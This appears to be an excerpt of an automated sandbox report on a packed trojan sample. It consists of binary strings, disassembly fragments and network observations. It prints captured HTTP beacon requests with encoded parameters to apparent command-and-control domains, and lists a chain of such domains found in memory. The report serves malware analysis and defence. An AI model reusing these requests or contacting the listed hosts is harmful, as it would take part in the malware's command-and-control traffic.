Source:	Binary string: dcomp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: NPSM.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: audioses.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: twinui.appcore.pdbUSd source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ntmarta.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: UxTheme.pdb0 source: WerFault.exe, 0000000A.00000003.731495333.000001EDC6EB3000.00000004.00000001.sdmp
Source:	Binary string: sapi_onecore.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ninput.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: StartTileData.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: PortableDeviceTypes.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: LanguageOverlayUtil.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: kernel32.pdb source: WerFault.exe, 0000000A.00000003.740772791.000001EDC777B000.00000004.00000001.sdmp
Source:	Binary string: netprofm.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: sxs.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: pnidui.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Shell.Broker.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: win32u.pdb source: WerFault.exe, 0000000A.00000003.739016455.000001EDC6E52000.00000004.00000001.sdmp
Source:	Binary string: ResourcePolicyClient.pdbMS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: MrmCoreR.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: thumbcache.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PhotoMetadataHandler.pdb]Sl source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: srvcli.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb0 source: WerFault.exe, 0000000A.00000003.740856862.000001EDC6DF0000.00000004.00000001.sdmp
Source:	Binary string: ExplorerFrame.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: imm32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: twinui.pcshell.pdb!SH source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cdp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdba source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: InputHost.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ExplorerFrame.pdbmS< source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ntshrui.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: coml2.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: drprov.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: IdStore.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: wpnapps.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PortableDeviceApi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: UserMgrProxy.pdbSP source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: AddInProcess32.exe, 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, mstsc.exe, 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp
Source:	Binary string: Windows.Shell.BlueLightReduction.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: TaskFlowDataEngine.pdbeS4 source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: propsys.pdbb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: davhlpr.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dlnashext.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Deviceovs.pdb source: WerFault.exe, 0000000A.00000002.761878802.000001EDC4EA8000.00000004.00000020.sdmp
Source:	Binary string: EhStorShell.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: XmlLite.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: AddInProcess32.pdb source: AddInProcess32.exe, mstsc.exe, 00000006.00000002.1034631298.0000000004C7F000.00000004.00000001.sdmp
Source:	Binary string: WorkFoldersShell.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: batmeter.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cscui.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: DWrite.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ResourcePolicyClient.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: MFPLAT.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: SyncCenter.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ApplicationFrame.pdb=SL source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: secur32.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: UxTheme.pdbv source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdbh source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: kernel32.pdb0 source: WerFault.exe, 0000000A.00000003.726046312.000001EDC6DF6000.00000004.00000001.sdmp
Source:	Binary string: Bcp47Langs.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: rtworkq.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ActionCenter.pdbASh source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryClient.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: rpcrt4.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ExecModelProxy.pdbES source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: explorer.pdb source: WerFault.exe, 0000000A.00000003.725996524.000001EDC6DEA000.00000004.00000001.sdmp
Source:	Binary string: twinui.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Shell.Broker.pdbf source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: NPSMDesktopProvider.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: MMDevAPI.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Immersive.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: WPDShServiceObj.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: capauthz.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: CoreUIComponents.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: hcproviders.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: nlaapi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Wer.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: windows.ui.xaml.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: user32.pdb0 source: WerFault.exe, 0000000A.00000003.738993307.000001EDC6E48000.00000004.00000001.sdmp
Source:	Binary string: wincorlib.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ntlanman.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: mstsc.pdbGCTL source: AddInProcess32.exe, 00000001.00000002.724998329.0000000002D60000.00000040.00000001.sdmp
Source:	Binary string: IEProxy.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: devobj.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: gdi32full.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: policymanager.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WPDShServiceObj.pdb&uX source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: RmClient.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: StructuredQuery.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: UserMgrProxy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: d2d1.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: PhotoMetadataHandler.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: SettingSyncPolicy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msvcp140.amd64.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: WLDP.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msoshext.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ES.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows.pdb2R source: WerFault.exe, 0000000A.00000003.746829519.000001EDC4ED0000.00000004.00000001.sdmp
Source:	Binary string: TileDataRepository.pdb-S\| source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdbm source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: Windows.ImmersiveShell.ServiceProvider.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: framedynos.pdbt8 source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: npmproxy.pdb?jO source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: staterepository.core.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: npmproxy.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: msxml6.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: wintrust.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: DataExchange.pdb9S@ source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: twinapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: cryptngc.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: UIAnimation.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: DXP.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb source: WerFault.exe, 0000000A.00000003.740856862.000001EDC6DF0000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: OneCoreUAPCommonProxyStub.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: comctl32.pdb source: WerFault.exe, 0000000A.00000003.729628969.000001EDC6F2D000.00000004.00000001.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: edputil.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp

Software Vulnerabilities:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then push dword ptr [ebp-24h]	0_2_04AB7498
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_04AB7498
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_04AB6758
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_04AB83F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov esp, ebp	0_2_04ABDEF8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then jmp 04AB276Eh	0_2_04AB1F98
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_04AB9481
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then push dword ptr [ebp-24h]	0_2_04AB7495
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_04AB7495
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then push dword ptr [ebp-20h]	0_2_04AB716C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_04AB716C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then push dword ptr [ebp-20h]	0_2_04AB7178
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_04AB7178
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then xor edx, edx	0_2_04AB73CD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then xor edx, edx	0_2_04AB73D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_04AB6C9D

Networking:

Source: global traffic	HTTP traffic detected: GET /bsl/?2d=hxlpdRkxCvtTgBzP&mt=B72SzM4OK6YheLE+tS6SAH+1fBRAvDBThfWED1RPUqC7thw4cowf+3ukjA/mpLG53kNi HTTP/1.1Host: www.g2vies.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bsl/?mt=meRO04KZ+tRueejEQ1mKApUC+xiZQAGZPTeO6WstMPZoEBgumINoRWRpGBFK3WkMjtLu&2d=hxlpdRkxCvtTgBzP HTTP/1.1Host: www.edu4go.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 34.102.136.180 34.102.136.180

Source: Joe Sandbox View

ASN Name: GOOGLEUS GOOGLEUS

Source: global traffic	HTTP traffic detected: GET /bsl/?2d=hxlpdRkxCvtTgBzP&mt=B72SzM4OK6YheLE+tS6SAH+1fBRAvDBThfWED1RPUqC7thw4cowf+3ukjA/mpLG53kNi HTTP/1.1Host: www.g2vies.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bsl/?mt=meRO04KZ+tRueejEQ1mKApUC+xiZQAGZPTeO6WstMPZoEBgumINoRWRpGBFK3WkMjtLu&2d=hxlpdRkxCvtTgBzP HTTP/1.1Host: www.edu4go.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: SearchUI.exe, 00000016.00000003.839516541.000001B8D2042000.00000004.00000001.sdmp

String found in binary or memory: www.yahoo.@ equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: www.thesunchronical.com

Source: explorer.exe, 00000010.00000003.836779593.00000000062E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
Source: SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: SearchUI.exe, 00000016.00000002.914254001.000001B8D1BAF000.00000004.00000001.sdmp	String found in binary or memory: http://facebook.github.io/react/docs/error-decoder.html?invariant
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adb
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.668183280.00000000082A1000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/1
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.668183280.00000000082A1000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.668183280.00000000082A1000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/WebPage
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683345162.00000000024A1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000002.00000002.751926871.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.cbothwelltest2020081703.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.cbothwelltest2020081703.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.cbothwelltest2020081703.com/bsl/www.luohu666.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.cbothwelltest2020081703.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.edu4go.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.edu4go.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.edu4go.com/bsl/www.infomgt.net
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.edu4go.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.estivalconsultancy.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.estivalconsultancy.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.estivalconsultancy.com/bsl/www.furnacerepairtacoma.net
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.estivalconsultancy.comReferer:
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.furnacerepairtacoma.net
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.furnacerepairtacoma.net/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.furnacerepairtacoma.net/bsl/www.listenmelody.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.furnacerepairtacoma.netReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.g2vies.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.g2vies.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.g2vies.com/bsl/www.edu4go.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.g2vies.comReferer:
